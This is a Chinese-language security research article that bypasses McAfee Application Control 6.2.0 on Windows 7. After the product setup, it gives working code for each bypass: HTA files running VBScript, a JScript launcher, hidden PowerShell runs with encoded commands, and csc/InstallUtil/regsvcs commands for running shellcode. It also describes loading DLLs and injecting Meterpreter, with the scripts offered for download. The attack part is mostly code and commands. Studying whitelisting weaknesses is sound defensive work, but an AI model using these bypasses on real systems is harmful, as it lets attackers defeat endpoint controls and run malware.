0x00 前言


应用白名单(Application Whitelisting)是用来防止未认证程序运行的一个计算机管理实践。它的目的是保护计算机和网络不受应用伤害。 McAfee Application Control作为其中比较有代表性的产品,使用动态的信任模型,避免了单调的人工更新许可清单工作。由于企业会面临来自网络的大量未知软件,因此这款可以集中管理的解决方案有助于及时控制系统安全策略,满足企业的运营需求。

那么,我们就试试看,究竟能不能绕过最新版的McAfee Application Control 6.2.0(截至投稿日期)

p1

0x01 简介


p2

McAfee Application Control对常见文件类型如exe、dll、bat作了限制,白名单外的这些文件均无法运行。所以这次的目标就是绕过限制来执行文件。

0x02 配置McAfee Application Control


操作系统:win7x86

1.下载McAfee Application Control

http://www.mcafee.com/us/products/application-control.aspx填写信息并安装

2.配置流程图

p3

3.Add the license

管理员权限执行McAfee Solidifier 命令行

1.查看许可证是否安装

执行

sadmin license list

2.添加许可证

在McAfee_Application_Control_v6_2_0_License.txt中会有

执行

sadmin license add 2708-0108-1402-2208-0710

如图

p4

3.重启服务Application Control service

执行

net stop scsrvc
net start scsrvc

4.Create the whitelist

1.创建白名单规则

执行

sadmin solidify

需要等待很长一段时间,为当前系统中的所有文件创建规则,如果未添加许可证,该功能无法使用

2.查看白名单状态

执行

sadmin status

确保状态为Solidified

如图

p5

5.Place Application Control in Enabled mode

1.开启程序控制,禁止白名单以外的程序运行

执行

sadmin enable

如图

p6

重启系统,重启服务,执行

net stop scsrvc
net start scsrvc

2.查看状态

执行

sadmin status

确保McAfee Solidifier状态为Enabled

重启后如图

p7

3.测试

新建一些测试文件

执行

sadmin list-unsolidified

查看白名单以外的程序

如图

p8

执行

sadmin scripts list

查看禁止执行的文件类型

如图

p9

分别执行exe、bat、dll,均被限制,如图

p10

p11

0x03 代码执行漏洞


1.难题

无法执行自己的程序

2.分析

根据白名单系统的特点,绕过的思路如下:

  1. 找到系统中的特定白名单程序

    利用该程序执行代码

    编写代码使其执行我们自己的程序

  2. 找到系统中未被拦截的特定程序

    利用该程序执行代码

    编写代码使其执行我们自己的程序

0x04 绕过方法


最终我们还是做到了:D

1.执行vbs

利用hta文件

Tips:

hta是HTML Applications的缩写,是利用HTML和Dynamic HTML(DHTML)开发应用程序

利用如下代码即可通过hta执行vbs

#!html
<HTML> 
<HEAD> 
<script language="VBScript">
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run "calc.exe"
</script>
</HEAD> 
<BODY> 
</BODY> 
</HTML> 

如图

p12

然而并不完美,hta的界面会默认显示,所以我们需要进一步修改来隐藏hta的主界面

加入属性指定hta执行后最小化显示,完整的代码如下

#!html
<HTML> 
<HEAD> 
<script language="VBScript">
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run "calc.exe"
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">

</HEAD> 
<BODY> 
</BODY> 
</HTML> 

保存为vbs.hta,执行如图

p13

2.执行jscript

jscript未被McAfee Application Control限制,因此可以被利用

如下代码保存为calc.js

#!js
var objShell = new ActiveXObject("WScript.shell");
objShell.run('calc.exe');

执行成功,如图

p14

3.执行powershell

如果可以执行powershell代码,还担心绕不过McAfee Application Control吗?

当然,默认是肯定无法执行的,如图

p15

方法1:

将ps1文件内容保存为script.txt,然后进入Powershell环境执行如下代码:

Get-Content script.txt | iex

但是如果txt中含有函数,会产生如下错误,需要更改脚本内容,错误如图

p16

方法2:

利用hta可以执行vbs,再用vbs执行Powershell

使用如下代码并保存为vbs+ps.hta

#!html
<HTML> 
<HEAD> 
<script language="VBScript">
    Set WshShell = CreateObject("WScript.Shell")
    Connect="powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA=="
    WshShell.Run Connect, 4, true

</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">

</HEAD> 
<BODY> 
</BODY> 
</HTML> 

执行后先调用vbs脚本,再执行Powershell命令

方法3:

利用快捷方式执行Powershell

右键新建一个快捷方式,填入如下代码,并保存为ps.lnk

powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA==

如图

p17

运行快捷方式后执行Powershell命令,弹出计算器

方法4:

利用Powershell环境直接执行,简单粗暴

cmd下执行Powershell.exe进入Powershell环境,然后在下面直接输入所有命令即可

0x05 漏洞利用


目前我们已经可以在安装McAfee Application Control的系统中执行vbs、jscript、Powershell,那么利用上述方法可以实现什么呢?

1.执行shellcode

方法1:

利用vbs,将shellcode转为vbs,然后通过hta执行

参考地址:

http://blog.didierstevens.com/2009/05/06/shellcode-2-vbscript/

方法2:

利用js

方法3:

利用Powershell

在之前的文章对通过Powershell执行shellcode有过详细介绍,对其中的ps1文件细节作简单修改保存为1-CodeExecution-Shellcode.ps1

进入Powershell环境,然后在里面执行1-CodeExecution-Shellcode.ps1的所有内容

如图

p18

方法4:

利用InstallUtil

在之前的文章《利用白名单绕过限制的更多测试》对此有过详细介绍

上传shellcode.cs,执行如下命令:

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe  /out:exeshell.exe Shellcode.cs

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe

如图

p19

方法5:

如果系统支持.net4.0,可以利用regsvcs

参考地址:

https://gist.github.com/subTee/fb09ef511e592e6f7993

上传key.snk和regsvcs.cs,执行如下命令:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library 

/out:regsvcs.dll /keyfile:key.snk regsvcs.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe regsvcs.dll

2.执行exe

利用Powershell

在之前的文章对通过Powershell执行exe有过详细介绍,对其中的ps1文件细节作简单修改保存为2-CodeExecution-Exe.ps1

进入Powershell环境,然后在里面执行2-CodeExecution-Exe.ps1的所有内容

如图

p20

3、加载dll

利用Powershell

在之前的文章对通过Powershell执行exe有过详细介绍,对其中的ps1文件细节作简单修改保存为3-CodeExecution-dll.ps1

进入Powershell环境,然后在里面执行3-CodeExecution-dll.ps1的所有内容

如图

p21

4、注入meterpreter

利用Powershell

在之前的文章对通过Powershell执行exe有过详细介绍,对其中的ps1文件细节作简单修改保存为4-Process Injection-Meterpreter.ps1

进入Powershell环境,然后在里面执行4-Process Injection-Meterpreter.ps1的所有内容

如图

p22

0x06 小结


我们成功在安装McAfee Application Control的系统上执行了vbs、exe、dll以及注入meterpreter。

当然McAfee Application Control还有其他一些保护功能,我们的研究测试也不只如此。

注:

以下文件可供下载

1-CodeExecution-Shellcode.ps1
2-CodeExecution-Exe.ps1
3-CodeExecution-dll.ps1
4-Process Injection-Meterpreter.ps1
calc.js
key.snk
ps.lnk
regsvcs.cs
Shellcode.cs
vbs+ps.hta
vbs.hta

下载地址:

https://github.com/3gstudent/Bypass-McAfee-Application-Control–Code-Execution

参考链接:

  1. http://bsidesvienna.at/slides/2015/a_case_study_on_the_security_of_application_whitelisting.pdf
  2. https://kc.mcafee.com/resources/sites/MCAFEE/content/live/PRODUCT_DOCUMENTATION/24000/PD24662/en_US/AppCtrl_BestPractices_Guide.pdf
  3. http://www.intel.com/content/dam/www/public/us/en/documents/guides/mcafee-application-control-product-guide.pdf
  4. http://subt0x10.blogspot.hk/2015/11/all-natural-organic-free-range.html
  5. http://blog.didierstevens.com/2009/05/06/shellcode-2-vbscript/
  6. http://subt0x10.blogspot.hk/2015/08/application-whitelisting-bypasses-101.html
  7. https://gist.github.com/subTee/a06d4ae23e2517566c52
  8. https://gist.github.com/subTee/fb09ef511e592e6f7993
  9. https://social.technet.microsoft.com/Forums/scriptcenter/en-US/08cce717-38d0-4def-a5bf-e5b4a846a597/run-powershell-from-hta

本文由三好学生原创并首发于乌云drops,转载请注明